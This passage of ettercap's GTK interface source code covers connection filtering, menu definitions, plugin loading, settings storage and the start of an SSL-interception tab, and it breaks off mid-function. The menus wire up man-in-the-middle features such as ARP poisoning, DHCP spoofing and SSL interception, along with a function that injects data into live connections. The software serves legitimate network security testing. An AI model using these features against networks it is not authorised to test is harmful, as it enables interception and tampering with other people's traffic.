size); close(fd); if (ret != size) { ui_error("Cannot read the file into memory"); return; } /* check where to inject */ if (side == 1 || side == 2) { user_inject(buf, size, curr_conn, side); } SAFE_FREE(buf); } static void set_connfilter(GtkWidget *widget, gpointer *data) { gboolean *value; DEBUG_MSG("set_connfilter"); value = (gboolean*)data; *value = gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(widget)); /* reapply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); } static void set_connfilter_host(GtkWidget *widget, gpointer *data) { /* unused variable */ (void) data; DEBUG_MSG("set_connfilter_host"); filter.host = gtk_entry_get_text(GTK_ENTRY(widget)); /* reapply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); } static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *data) { gchar *src_host, *dst_host; gboolean ret = TRUE; struct conn_tail *conn = NULL; /* unused variable */ (void) data; /* fetch row values */ gtk_tree_model_get(model, iter, 1, &src_host, 4, &dst_host, 11, &conn, -1); /* evaluate filter criteria */ /* host filter set - filter hosts that do not match */ if (filter.host && strlen(filter.host)) { if (src_host && !strcasestr(src_host, filter.host) && dst_host && !strcasestr(dst_host, filter.host)) { ret = FALSE; g_free(src_host); g_free(dst_host); } } if (conn && conn->co) { /* protocol filter */ switch (conn->co->L4_proto) { case NL_TYPE_UDP: if (!filter.udp) ret = FALSE; break; case NL_TYPE_TCP: if (!filter.tcp) ret = FALSE; break; default: if (!filter.other) ret = FALSE; } /* connection state filter */ switch (conn->co->status) { case CONN_IDLE: if (!filter.idle) ret = FALSE; break; case CONN_ACTIVE: if (!filter.active) ret = FALSE; break; case CONN_CLOSING: if (!filter.closing) ret = FALSE; break; case CONN_CLOSED: if (!filter.closed) ret = FALSE; break; case CONN_KILLED: if (!filter.killed) ret = FALSE; break; default: break; } } else { ret = FALSE; } return ret; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_menus.c0000644000175000017500000004465413505247364021517 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /* globals */ /*******************************************/ void gtkui_create_menu(int live) { GtkAccelGroup *accel_group; GtkWidget *vbox, *main_menu; GtkActionGroup *menuactions; GtkAction *action; GError *error = NULL; GClosure *closure = NULL; gint keyval; GdkModifierType mods; const gchar *menu_structure = "" " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " #ifdef WITH_IPV6 " " #endif " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " #ifdef WITH_IPV6 " " #endif " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " #ifdef HAVE_PLUGINS " " " " " " " " #endif " " #ifndef OS_WINDOWS " " #endif " " " " " " ""; GtkActionEntry start_menu_items[] = { /* Start Menu */ { "StartMenuAction", NULL, "_Start", NULL, NULL, NULL }, { "SniffStartAction", GTK_STOCK_YES, "Start sniffing", "w", NULL, G_CALLBACK(gtkui_start_sniffing) }, { "SniffStopAction", GTK_STOCK_NO, "Stop sniffing", "e", NULL, G_CALLBACK(gtkui_stop_sniffing) }, { "ExitAction", GTK_STOCK_QUIT, "E_xit", "q", NULL, G_CALLBACK(gtkui_exit) } }; GtkActionEntry targets_menu_items[] = { /* Targets Menu */ { "TargetsMenuAction", NULL, "_Targets", NULL, NULL, NULL }, { "CurrentTargetsAction", GTK_STOCK_FIND, "Current targets", "t", NULL, G_CALLBACK(gtkui_current_targets) }, { "SelectTargetsAction", GTK_STOCK_ADD, "Select target(s)", "t", NULL, G_CALLBACK(gtkui_select_targets) }, { "ProtocolAction", GTK_STOCK_JUMP_TO, "_Protocol...", "p", NULL, G_CALLBACK(gtkui_select_protocol) }, { "WipeTargetsAction", GTK_STOCK_CLEAR, "_Wipe targets", "W", NULL, G_CALLBACK(wipe_targets) } }; GtkActionEntry hosts_menu_items[] = { /* Hosts Menu */ { "HostsMenuAction", NULL, "_Hosts", NULL, NULL, NULL }, { "HostsListAction", GTK_STOCK_INDEX, "_Hosts list", "h", NULL, G_CALLBACK(gtkui_host_list) }, { "ScanHostsAction", GTK_STOCK_FIND, "_Scan for hosts", "s", NULL, G_CALLBACK(gtkui_scan) }, { "LoadHostsAction", GTK_STOCK_OPEN, "Load from file...", "", NULL, G_CALLBACK(gtkui_load_hosts) }, { "SaveHostsAction", GTK_STOCK_SAVE, "Save to file...", "", NULL, G_CALLBACK(gtkui_save_hosts) } }; GtkActionEntry view_menu_items[] = { /* View Menu */ { "ViewMenuAction", NULL, "_View", NULL, NULL, NULL }, { "ViewConnectionsAction", GTK_STOCK_JUSTIFY_FILL, "_Connections", "c", NULL, G_CALLBACK(gtkui_show_connections) }, { "ViewProfilesAction", GTK_STOCK_JUSTIFY_LEFT, "Pr_ofiles", "o", NULL, G_CALLBACK(gtkui_show_profiles) }, { "ViewStatisticsAction", GTK_STOCK_PROPERTIES, "_Statistics", NULL, NULL, G_CALLBACK(gtkui_show_stats) }, { "VisualisationMethodAction", GTK_STOCK_PREFERENCES, "_Visualisation method...", "v", NULL, G_CALLBACK(gtkui_vis_method) }, { "VisualisationRegexAction", GTK_STOCK_FIND, "Visualisation _regex...", "R", NULL, G_CALLBACK(gtkui_vis_regex) }, { "SetWifiKeyAction", GTK_STOCK_FIND, "Set the _WiFi key...", NULL, NULL, G_CALLBACK(gtkui_wifi_key) } }; GtkActionEntry mitm_menu_items[] = { /* Mitm Menu */ { "MitmMenuAction", NULL, "_Mitm", NULL, NULL, NULL }, { "ArpPoisoningAction", NULL, "ARP poisoning...", NULL, NULL, G_CALLBACK(gtkui_arp_poisoning) }, { "IcmpRedirectAction", NULL, "ICMP redirect...", NULL, NULL, G_CALLBACK(gtkui_icmp_redir) }, { "PortStealingAction", NULL, "Port stealing...", NULL, NULL, G_CALLBACK(gtkui_port_stealing) }, { "DhcpSpoofingAction", NULL, "DHCP spoofing...", NULL, NULL, G_CALLBACK(gtkui_dhcp_spoofing) }, #ifdef WITH_IPV6 { "NdpPoisoningAction", NULL, "NDP poisoning...", NULL, NULL, G_CALLBACK(gtkui_ndp_poisoning) }, #endif { "StopMitmAttacksAction", NULL, "Stop mitm attack(s)", NULL, NULL, G_CALLBACK(gtkui_mitm_stop) }, { "SSLRedirectsAction", NULL, "SSL Intercept", NULL, NULL, G_CALLBACK(gtkui_sslredir_show) } }; GtkActionEntry filters_menu_items[] = { /* Filters Menu */ { "FiltersMenuAction", NULL, "_Filters", NULL, NULL, NULL }, { "LoadFilterAction", GTK_STOCK_OPEN, "Load a filter...", "f", NULL, G_CALLBACK(gtkui_load_filter) }, { "StopFilterAction", GTK_STOCK_STOP, "Stop _filtering", "f", NULL, G_CALLBACK(gtkui_stop_filter) } }; GtkActionEntry logging_menu_items[] = { /* Logging Menu */ { "LoggingMenuAction", NULL, "_Logging", NULL, NULL, NULL }, { "LoggingAllAction", GTK_STOCK_SAVE, "Logging all packets and infos...", "i", NULL, G_CALLBACK(gtkui_log_all) }, { "LoggingInfoAction", GTK_STOCK_SAVE_AS, "Logging only infos...", "i", NULL, G_CALLBACK(gtkui_log_info) }, { "LoggingStopAction", GTK_STOCK_STOP, "Stop logging infos", NULL, NULL, G_CALLBACK(gtkui_stop_log) }, { "LogMessagesAction", GTK_STOCK_REVERT_TO_SAVED, "Log user messages...", "m", NULL, G_CALLBACK(gtkui_log_msg) }, { "LogMessagesStopAction", GTK_STOCK_STOP, "Stop logging messages", NULL, NULL, G_CALLBACK(gtkui_stop_msg) } }; #ifdef HAVE_PLUGINS GtkActionEntry plugins_menu_items[] = { /* Plugins Menu */ { "PluginsMenuAction", NULL, "_Plugins", NULL, NULL, NULL }, { "ManagePluginsAction", GTK_STOCK_EXECUTE, "Manage the plugins", "p", NULL, G_CALLBACK(gtkui_plugin_mgmt) }, { "LoadPluginAction", GTK_STOCK_OPEN, "Load a plugin...", NULL, NULL, G_CALLBACK(gtkui_plugin_load) } }; #endif GtkActionEntry help_menu_items[] = { /* Help Menu */ { "HelpMenuAction", NULL, "_Info", NULL, NULL, NULL }, #ifndef OS_WINDOWS { "HelpAction", GTK_STOCK_HELP, "Help", "F1", NULL, G_CALLBACK(gtkui_help) }, #endif { "AboutDialogAction", GTK_STOCK_ABOUT, "About", NULL, NULL, G_CALLBACK(gtkui_about) } }; GtkToggleActionEntry toggle_items[] = { { "ReverseMatchingAction", NULL, "Reverse matching", NULL, NULL, G_CALLBACK(toggle_reverse), FALSE }, #ifdef WITH_IPV6 { "EnableIPv6ScanAction", NULL, "Enable IPv6 scan", NULL, NULL, G_CALLBACK(toggle_ip6scan), FALSE }, #endif { "ResolveIpAddressesAction", NULL, "Resolve IP addresses", NULL, NULL, G_CALLBACK(toggle_resolve), FALSE }, { "LogCompressedAction", NULL, "Compressed file", NULL, NULL, G_CALLBACK(toggle_compress), FALSE } }; DEBUG_MSG("gtk_create_menu"); /* remove old menu, it will be automatically destroyed by gtk_main */ vbox = gtk_bin_get_child(GTK_BIN (window)); main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_widget_hide(main_menu); gtk_ui_manager_remove_ui(menu_manager, merge_id); menuactions = gtk_action_group_new("MenuActions"); /* Start Menu */ gtk_action_group_add_actions(menuactions, start_menu_items, G_N_ELEMENTS(start_menu_items), NULL); /* Targets Menu */ gtk_action_group_add_actions(menuactions, targets_menu_items, G_N_ELEMENTS(targets_menu_items), NULL); /* Hosts Menu */ gtk_action_group_add_actions(menuactions, hosts_menu_items, G_N_ELEMENTS(hosts_menu_items), NULL); /* View Menu */ gtk_action_group_add_actions(menuactions, view_menu_items, G_N_ELEMENTS(view_menu_items), NULL); /* MITM Menu */ gtk_action_group_add_actions(menuactions, mitm_menu_items, G_N_ELEMENTS(mitm_menu_items), NULL); /* Filters Menu */ gtk_action_group_add_actions(menuactions, filters_menu_items, G_N_ELEMENTS(filters_menu_items), NULL); /* Logging Menu */ gtk_action_group_add_actions(menuactions, logging_menu_items, G_N_ELEMENTS(logging_menu_items), NULL); #ifdef HAVE_PLUGINS /* Plugins Menu */ gtk_action_group_add_actions(menuactions, plugins_menu_items, G_N_ELEMENTS(plugins_menu_items), NULL); #endif #ifndef OS_WINDOWS /* Help Menu */ gtk_action_group_add_actions(menuactions, help_menu_items, G_N_ELEMENTS(help_menu_items), NULL); #endif gtk_action_group_add_toggle_actions(menuactions, toggle_items, G_N_ELEMENTS(toggle_items), NULL); menu_manager = gtk_ui_manager_new(); gtk_ui_manager_insert_action_group(menu_manager, menuactions, 0); merge_id = gtk_ui_manager_add_ui_from_string(menu_manager, menu_structure, -1, &error); if (error) { g_message("building menu failed: %s", error->message); g_error_free(error); error = NULL; } /* Some hidden accellerators */ accel_group = gtk_accel_group_new (); closure = g_cclosure_new(G_CALLBACK(gtkui_exit), NULL, NULL); gtk_accelerator_parse("X", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); gtk_window_add_accel_group(GTK_WINDOW(window), accel_group); gtk_window_add_accel_group(GTK_WINDOW(window), gtk_ui_manager_get_accel_group(menu_manager)); if(EC_GBL_OPTIONS->reversed) { EC_GBL_OPTIONS->reversed = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/TargetsMenu/ReverseMatching"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } if(EC_GBL_OPTIONS->resolve) { EC_GBL_OPTIONS->resolve = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/ViewMenu/ResolveIpAddresses"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } if(EC_GBL_OPTIONS->compress) { EC_GBL_OPTIONS->compress = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/LoggingMenu/LogCompressed"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } /* Some menus doesn't apply if started in offline or bridged sniffing mode */ if (live == 0 || EC_GBL_SNIFF->type == SM_BRIDGED) { gtk_widget_set_visible(gtk_ui_manager_get_widget(menu_manager, "/MenuBar/HostsMenu"), FALSE); gtk_widget_set_visible(gtk_ui_manager_get_widget(menu_manager, "/MenuBar/MitmMenu"), FALSE); } #ifdef HAVE_PLUGINS if (live == 0) gtk_widget_set_visible(gtk_ui_manager_get_widget(menu_manager, "/MenuBar/PluginsMenu"), FALSE); #endif /* get the menu widget and add it to the window */ main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_box_pack_start(GTK_BOX(vbox), main_menu, FALSE, FALSE, 0); gtk_widget_show(main_menu); } void gtkui_create_tab_menu(void) { GtkWidget *context; GtkUIManager *tab_menu_manager; GtkActionGroup *tabactions; GError *error = NULL; static gchar *tab_menu_structure = "" " " " " " " " " " " " " " " ""; GtkActionEntry tab_menu_items[] = { { "DetachPageAction", GTK_STOCK_GO_UP, "Detach page", "D", NULL, G_CALLBACK(gtkui_page_detach_current) }, { "ClosePageAction", GTK_STOCK_CLOSE, "Close page", "W", NULL, G_CALLBACK(gtkui_page_close_current) }, { "NextPageAction", GTK_STOCK_GO_FORWARD, "Next page", "Tab", NULL, G_CALLBACK(gtkui_page_right) }, { "PreviousPageAction", GTK_STOCK_GO_BACK, "Previous page", "Tab", NULL, G_CALLBACK(gtkui_page_left) } }; /* Create Action Group for tab menu */ tabactions = gtk_action_group_new("TabActions"); gtk_action_group_add_actions(tabactions, tab_menu_items, G_N_ELEMENTS(tab_menu_items), NULL); /* context menu for notebook */ tab_menu_manager = gtk_ui_manager_new(); gtk_ui_manager_insert_action_group(tab_menu_manager, tabactions, 0); gtk_ui_manager_add_ui_from_string(tab_menu_manager, tab_menu_structure, -1, &error); if (error) { g_message("building tab menu failed: %s", error->message); g_error_free(error); error = NULL; } /* Add Accelerators */ gtk_window_add_accel_group(GTK_WINDOW(window), gtk_ui_manager_get_accel_group(tab_menu_manager)); /* Bind popup menu to event */ context = gtk_ui_manager_get_widget(tab_menu_manager, "/NoteBook"); g_signal_connect(G_OBJECT(notebook), "button-press-event", G_CALLBACK(gtkui_context_menu), context); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_plugins.c0000644000175000017500000002310413505247364022034 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define MAX_DESC_LEN 75 /* proto */ static void gtkui_load_plugin(const char *full); static void gtkui_add_plugin(char active, struct plugin_ops *ops); static void gtkui_plug_destroy(void); static void gtkui_plugins_detach(GtkWidget *child); static void gtkui_plugins_attach(void); static void gtkui_select_plugin(void); static void gtkui_create_plug_array(void); /* globals */ static GtkWidget *plugins_window = NULL; static GtkWidget *treeview = NULL; static GtkListStore *ls_plugins = NULL; static GtkTreeSelection *selection = NULL; /*******************************************/ /* * display the file open dialog */ void gtkui_plugin_load(void) { GtkWidget *dialog; gchar *filename; int response = 0; #ifdef OS_WINDOWS char *path = get_full_path("/lib/", ""); #else char *path = INSTALL_LIBDIR "/" PROGRAM "/"; #endif DEBUG_MSG("gtk_plugin_load"); dialog = gtk_file_chooser_dialog_new("Select a plugin...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), path); #ifdef OS_WINDOWS SAFE_FREE(path); #endif response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtkui_load_plugin(filename); /* update the list */ gtkui_create_plug_array(); g_free(filename); } gtk_widget_destroy (dialog); } static void gtkui_load_plugin(const char *full) { char *file; int ret; #ifdef OS_WINDOWS file = strrchr(full, '\\'); #else file = strrchr(full, '/'); #endif /* remove the last / split path and file increment file pointer to point to filename */ *file++ = 0; DEBUG_MSG("gtk_load_plugin %s/%s", full, file); /* load the plugin */ ret = plugin_load_single(full, file); /* check the return code */ switch (ret) { case E_SUCCESS: gtkui_message("Plugin loaded successfully"); break; case -E_DUPLICATE: ui_error("plugin %s already loaded...", file); break; case -E_VERSION: ui_error("plugin %s was compiled for a different ettercap version...", file); break; case -E_INVALID: default: ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); break; } } /* * plugin management */ void gtkui_plugin_mgmt(void) { GtkWidget *scrolled, *vbox; GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_plugin_mgmt"); /* if the object already exist, set the focus to it */ if (plugins_window) { if(GTK_IS_WINDOW (plugins_window)) gtk_window_present(GTK_WINDOW (plugins_window)); else gtkui_page_present(plugins_window); return; } plugins_window = gtkui_page_new("Plugins", >kui_plug_destroy, >kui_plugins_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (plugins_window), vbox); gtk_widget_show(vbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_select_plugin), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Name", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Version", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Info", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id (column, 3); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* create the array for the list widget */ /* or refreshes it if it exists */ gtkui_create_plug_array(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_plugins)); gtk_widget_show(plugins_window); } static void gtkui_plugins_detach(GtkWidget *child) { plugins_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (plugins_window), "Select a plugin..."); gtk_window_set_default_size(GTK_WINDOW (plugins_window), 400, 300); g_signal_connect (G_OBJECT (plugins_window), "delete_event", G_CALLBACK (gtkui_plug_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(plugins_window, gtkui_plugins_attach); gtk_container_add(GTK_CONTAINER (plugins_window), child); gtk_window_present(GTK_WINDOW (plugins_window)); } static void gtkui_plugins_attach(void) { gtkui_plug_destroy(); gtkui_plugin_mgmt(); } static void gtkui_plug_destroy(void) { gtk_widget_destroy(plugins_window); plugins_window = NULL; } /* * create the array for the widget. * erase any previously alloc'd array */ static void gtkui_create_plug_array(void) { GtkTreeIter iter; int res; static int blocked = 0; DEBUG_MSG("gtk_create_plug_array"); if(ls_plugins) gtk_list_store_clear(GTK_LIST_STORE (ls_plugins)); else ls_plugins = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); /* go thru the list of plugins */ res = plugin_list_walk(PLP_MIN, PLP_MAX, >kui_add_plugin); if (res == -E_NOTFOUND) { blocked = g_signal_handlers_block_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); gtk_list_store_append (ls_plugins, &iter); gtk_list_store_set (ls_plugins, &iter, 0, " ", 1, "No Plugins Loaded", -1); } else if(blocked > 0) { g_signal_handlers_unblock_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); blocked = 0; } } /* * callback function for displaying the plugin list */ static void gtkui_add_plugin(char active, struct plugin_ops *ops) { GtkTreeIter iter; char active_str[2]; active_str[0] = (active)?'*':' '; active_str[1] = 0; gtk_list_store_append (ls_plugins, &iter); gtk_list_store_set (ls_plugins, &iter, 0, active_str, 1, ops->name, 2, ops->version, 3, ops->info, -1); } /* * callback function for a plugin */ static void gtkui_select_plugin(void) { GtkTreeIter iter; GtkTreeModel *model; char *plugin = NULL; model = GTK_TREE_MODEL (ls_plugins); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 1, &plugin, -1); } else return; /* nothing is selected */ if(!plugin) return; /* bad pointer from gtk_tree_model_get, shouldn't happen */ /* print the message */ if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n", plugin); /* * pay attention on this ! * if the plugin init does not return, * we are blocked here. So it is encouraged * to write plugins which spawn a thread * and immediately return */ if (plugin_is_activated(plugin) == 1) plugin_fini(plugin); else plugin_init(plugin); /* refresh the list to mark plugin active */ gtkui_create_plug_array(); } gboolean gtkui_refresh_plugin_list(gpointer data) { /* avoid warning */ (void)data; DEBUG_MSG("gtk_refresh_plugin_list"); /* refresh the list to mark plugin active */ gtkui_create_plug_array(); /* return FALSE so g_idle_add() only calls it once */ return FALSE; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_conf.c0000644000175000017500000000517113505247364021304 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include static char *filename = NULL; static struct gtk_conf_entry settings[] = { { "window_top", 0 }, { "window_left", 0 }, { "window_height", 440 }, { "window_width", 600 }, { NULL, 0 }, }; void gtkui_conf_set(char *name, short value) { short c = 0; DEBUG_MSG("gtkui_conf_set: name=%s value=%hu", name, value); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) { settings[c].value = value; break; } } } short gtkui_conf_get(char *name) { unsigned short c = 0; DEBUG_MSG("gtkui_conf_get: name=%s", name); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) return(settings[c].value); } return(0); } void gtkui_conf_read(void) { FILE *fd; const char *path; char line[100], name[30]; short value; /* If you launch ettercap using sudo, then the config file is your user config dir */ path = g_get_user_config_dir(); filename = g_build_filename(path, "ettercap_gtk", NULL); DEBUG_MSG("gtkui_conf_read: %s", filename); fd = fopen(filename, "r"); if(!fd) return; while(fgets(line, 100, fd)) { char *p = strchr(line, '='); if(!p) continue; *p = '\0'; snprintf(name, sizeof(name), "%s", line); strlcpy(name, line, sizeof(name) - 1); g_strstrip(name); value = atoi(p + 1); gtkui_conf_set(name, value); } fclose(fd); } void gtkui_conf_save(void) { FILE *fd; int c; DEBUG_MSG("gtkui_conf_save"); if(!filename) return; fd = fopen(filename, "w"); if(fd != NULL) { for(c = 0; settings[c].name != NULL; c++) fprintf(fd, "%s = %hd\n", settings[c].name, settings[c].value); fclose(fd); } g_free(filename); filename = NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_redirect.c0000644000175000017500000004464613505247364022172 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void gtkui_sslredir_close(void); static void gtkui_sslredir_detach(GtkWidget *child); static void gtkui_sslredir_attach(void); static void gtkui_sslredir_add(GtkWidget *widget, gpointer data); static void gtkui_sslredir_del(GtkWidget *widget, gpointer data); static void gtkui_sslredir_del_all(GtkWidget *widget, gpointer data); static void gtkui_sslredir_add_list(struct redir_entry *re); static void gtkui_sslredir_add_service(struct serv_entry *se); static void gtkui_sslredir_create_lists(void); static void gtkui_sslredir_af_changed(GtkWidget *widget, gpointer data); static gboolean gtkui_sslredir_key_pressed(GtkWidget *widget, GdkEventKey *event, gpointer data); /* globals */ static GtkWidget *sslredir_window = NULL; static GtkWidget *treeview = NULL; static GtkListStore *redirrules = NULL; static GtkListStore *proto_list = NULL; static GtkListStore *af_list = NULL; static GtkTreeSelection *selection = NULL; /*******************************************/ /* * tab to configure traffic redirection for SSL interception * - no redirect of any interceptable traffic at startup * - selective redirect avoids SSL errors for destinations * not being subject of interception * */ void gtkui_sslredir_show(void) { GtkWidget *scrolled, *vbox, *hbox, *button, *context_menu, *items; GtkTreeModel *model; GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_sslredir_show()"); /* if the object already exist, set the focus to it */ if (sslredir_window) { if(GTK_IS_WINDOW (sslredir_window)) gtk_window_present(GTK_WINDOW (sslredir_window)); else gtkui_page_present(sslredir_window); return; } sslredir_window = gtkui_page_new("SSL Intercept", >kui_sslredir_close, >kui_sslredir_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(sslredir_window), vbox); /* rules list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER(scrolled), treeview); selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); gtk_tree_selection_set_mode(selection, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("IP Version", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id(column, 0); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Source", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id(column, 1); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Destination", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id(column, 2); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Service", renderer, "text", 7, NULL); gtk_tree_view_column_set_sort_column_id(column, 3); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); gtkui_sslredir_create_lists(); model = gtk_tree_model_sort_new_with_model(GTK_TREE_MODEL(redirrules)); gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), model); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("_Insert new redirect"); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); if (proto_list) g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_sslredir_add), model); else gtk_widget_set_sensitive(button, FALSE); button = gtk_button_new_with_mnemonic("_Remove redirect"); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); if (proto_list) g_signal_connect(G_OBJECT(button), 